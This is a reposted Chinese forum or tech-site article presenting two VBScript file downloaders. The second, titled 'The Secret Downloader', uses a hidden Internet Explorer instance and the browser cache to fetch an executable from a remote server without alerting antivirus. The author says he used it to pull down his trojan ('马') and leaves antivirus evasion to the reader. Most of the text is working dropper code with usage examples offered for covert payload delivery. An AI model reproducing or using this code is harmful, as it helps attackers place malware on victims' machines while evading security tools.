首页 电脑 电脑学堂 查看内容

使用vbs下载文件

2009-10-26 10:04 506 0

摘要: 转自lake2专栏说到使用vbs下载文件是不是想到了XMLHTTP呢,呵呵,以下是比较经典的代码:iLocal=LCase(Wscript.Arguments(1))iRemote=LCase(Wsc...
关键词: nbsp Wscript 文件 Echo exeName Arguments 缓存 createObject exe cscript

转自lake2专栏说到使用vbs下载文件是不是想到了XMLHTTP呢,呵呵,以下是比较经典的代码:iLocal=LCase(Wscript.Arguments(1))iRemote=LCase(Wscript.Arguments(0))Set xPost=createObject("Microsoft.XMLHTTP")xPost.Open "GET",iRemote,0xPost.Send()set sGet=createObject("ADODB.Stream")sGet.Mode=3sGet.Type=1sGet.Open()sGet.Write xPost.ResponseBodysGet.SaveToFile iLocal,2    当你把这段代码保存为vbs的时候,杀毒软件可能就开始报警了;而且使用中cscript.exe会访问网络,不太隐蔽。    那么,有没有更好的方法呢?答案很明显:-)    我们可以利用一个叫InternetExplorer.Application的对象(其实就是个IE啦)下载文件。但是貌似这个组件不能直接下载保存文件,只好曲线救国了。因为IE是把文件下载到本地缓存的,我们可以让IE组件先把文件下载到缓存,然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的:)    为了让IE把我们的exe文件下载到本地缓存,我们需要有一个网页把exe文件包含进去。比如:<script src="520.exe"></script>。这样当IE访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe,IE临时文件的位置可以从注册表键值 HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory 中读取。    好了,不废话,看代码:'============================='  get.vbs '   by lake2'=============================If WScript.Arguments.Count <> 3 ThenWScript.Echo ""WScript.Echo "======= The Secret Downloader 0.1 ================"WScript.Echo "  by lake2 "WScript.Echo "Usage:   CScript /nologo" & WScript.ScriptName & " [URL] [RemoteName] [LocalFile]"WScript.Echo "Example: CScript /nologo" & WScript.ScriptName & " http://www.0x54.org/lake.htm 520.exe c:\520.exe"WScript.Echo "=================================================="WScript.QuitEnd IfURL = WScript.Arguments(0)exeName = WScript.Arguments(1)If InStr(exeName, ".") > 0 Thentmp = Left(exeName,InStrRev(exeName, ".")-1)tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1)FindFileName = tmp & "[1]" & tmp2End IfLocalName = WScript.Arguments(2)set ie=wscript.createobject("internetexplorer.application")ie.visible = 0ie.navigate URLWScript.Echo "[+]Create and Exec IE to your HTTP Server ..."WScript.Sleep(5000)ie.quitWScript.Echo "[+]Get the file ..."set objshell= WScript.Createobject("WScript.Shell")strValue = objshell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory")ShowAllFile(strValue)WScript.Echo "[-]download Fail :("Sub ShowAllFile(Path)Set FSO = CreateObject("Scripting.FileSystemObject")Set f = FSO.GetFolder(Path)Set fc = f.SubFoldersFor Each f1 in fc  If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then   FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName   WScript.Echo "[+]Download Success !"   WScript.Quit  End If  ShowAllFile path&"\"&f1.name     NextSet FSO = NothingEnd Sub    使用方法:    1、在你的web目录放上一个htm文件,内容包含要下载的文件。如:<script src=520.exe></script>    2、CScript get.vbs 第一步的网页URL 网页包含的文件名 本地保存路径    例子:CScript get.vbs http://www.0x54.org/lake2/get.htm whoami.exe c:\who.exe另外:用lion的那个hget我这提供下载也可以,4KB,很小。上面的方法我试了,速度很快我122KB的马下了不到2秒。。本机和远程都测试成功!,至于免杀自己做吧!脚本使用了5秒钟作为下载文件的时间,可以改成等待下载完毕再继续的,不过基本上够用,懒得改了-_-
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部